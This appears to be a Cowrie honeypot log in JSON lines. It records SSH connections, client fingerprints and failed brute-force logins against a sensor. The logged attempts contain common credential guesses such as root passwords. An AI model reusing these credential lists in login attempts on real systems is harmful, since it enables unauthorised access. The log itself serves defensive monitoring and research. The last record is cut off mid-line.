{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:14.385826Z","src_ip":"91.92.40.176","session":"bd43f658af50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"123456","message":"login attempt [apache/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:14.631811Z","src_ip":"91.92.40.176","session":"bd43f658af50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:15.715810Z","src_ip":"91.92.40.176","session":"bd43f658af50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39918,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c9cf35499ea","protocol":"ssh","message":"New connection: 87.251.79.125:39918 (159.203.135.109:22) [session: 0c9cf35499ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:36.464178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:36.472105Z","src_ip":"87.251.79.125","session":"0c9cf35499ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:36.542961Z","src_ip":"87.251.79.125","session":"0c9cf35499ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":34466,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebbef491ae63","protocol":"ssh","message":"New connection: 41.242.115.84:34466 (159.203.135.109:22) [session: ebbef491ae63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:36.691076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:36.694008Z","src_ip":"41.242.115.84","session":"ebbef491ae63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amfitamin","message":"login attempt [root/amfitamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:36.755316Z","src_ip":"87.251.79.125","session":"0c9cf35499ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:36.899881Z","src_ip":"41.242.115.84","session":"ebbef491ae63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test1234","message":"login attempt [testuser/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:37.760411Z","src_ip":"41.242.115.84","session":"ebbef491ae63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:37.831285Z","src_ip":"87.251.79.125","session":"0c9cf35499ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:38.969118Z","src_ip":"41.242.115.84","session":"ebbef491ae63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":60862,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ca2179158f3","protocol":"ssh","message":"New connection: 172.190.89.127:60862 (159.203.135.109:22) [session: 3ca2179158f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:50.680312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:50.687212Z","src_ip":"172.190.89.127","session":"3ca2179158f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:50.697020Z","src_ip":"172.190.89.127","session":"3ca2179158f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Administrador123","message":"login attempt [root/Administrador123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:50.774122Z","src_ip":"172.190.89.127","session":"3ca2179158f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:51.786960Z","src_ip":"172.190.89.127","session":"3ca2179158f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.07691240310669,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:36:02.648460Z","src_ip":"107.6.151.170","session":"fac84763f71a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":38416,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ea52d97f005","protocol":"ssh","message":"New connection: 103.172.78.219:38416 (10.17.0.5:22) [session: 1ea52d97f005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:36:07.518145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:36:07.521865Z","src_ip":"103.172.78.219","session":"1ea52d97f005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:36:07.794103Z","src_ip":"103.172.78.219","session":"1ea52d97f005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":35730,"dst_ip":"159.203.135.109","dst_port":22,"session":"47bd5bd7fc3d","protocol":"ssh","message":"New connection: 154.205.134.214:35730 (159.203.135.109:22) [session: 47bd5bd7fc3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:36:07.827802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:36:07.831442Z","src_ip":"154.205.134.214","session":"47bd5bd7fc3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:36:07.992934Z","src_ip":"154.205.134.214","session":"47bd5bd7fc3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140182","message":"login attempt [root/140182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:36:08.613649Z","src_ip":"103.172.78.219","session":"1ea52d97f005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Administrador123","message":"login attempt [root/Administrador123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:36:08.653889Z","src_ip":"154.205.134.214","session":"47bd5bd7fc3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:36:09.813736Z","src_ip":"154.205.134.214","session":"47bd5bd7fc3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:36:09.889799Z","src_ip":"103.172.78.219","session":"1ea52d97f005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":35494,"dst_ip":"10.17.0.5","dst_port":22,"session":"e20d69543a5e","protocol":"ssh","message":"New connection: 103.27.238.116:35494 (10.17.0.5:22) [session: e20d69543a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:08.684775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:08.689049Z","src_ip":"103.27.238.116","session":"e20d69543a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:08.961400Z","src_ip":"103.27.238.116","session":"e20d69543a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elisabeth","message":"login attempt [root/elisabeth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:09.786120Z","src_ip":"103.27.238.116","session":"e20d69543a5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:11.061162Z","src_ip":"103.27.238.116","session":"e20d69543a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":34692,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f5e6c044eb9","protocol":"ssh","message":"New connection: 172.190.89.127:34692 (159.203.135.109:22) [session: 3f5e6c044eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:30.124551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:30.132499Z","src_ip":"172.190.89.127","session":"3f5e6c044eb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:30.146215Z","src_ip":"172.190.89.127","session":"3f5e6c044eb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456@","message":"login attempt [root/Abc123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:30.237747Z","src_ip":"172.190.89.127","session":"3f5e6c044eb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:31.253875Z","src_ip":"172.190.89.127","session":"3f5e6c044eb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":33880,"dst_ip":"10.17.0.5","dst_port":22,"session":"db2931e286f2","protocol":"ssh","message":"New connection: 103.149.28.157:33880 (10.17.0.5:22) [session: db2931e286f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:42.183392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:37:42.187051Z","src_ip":"103.149.28.157","session":"db2931e286f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.co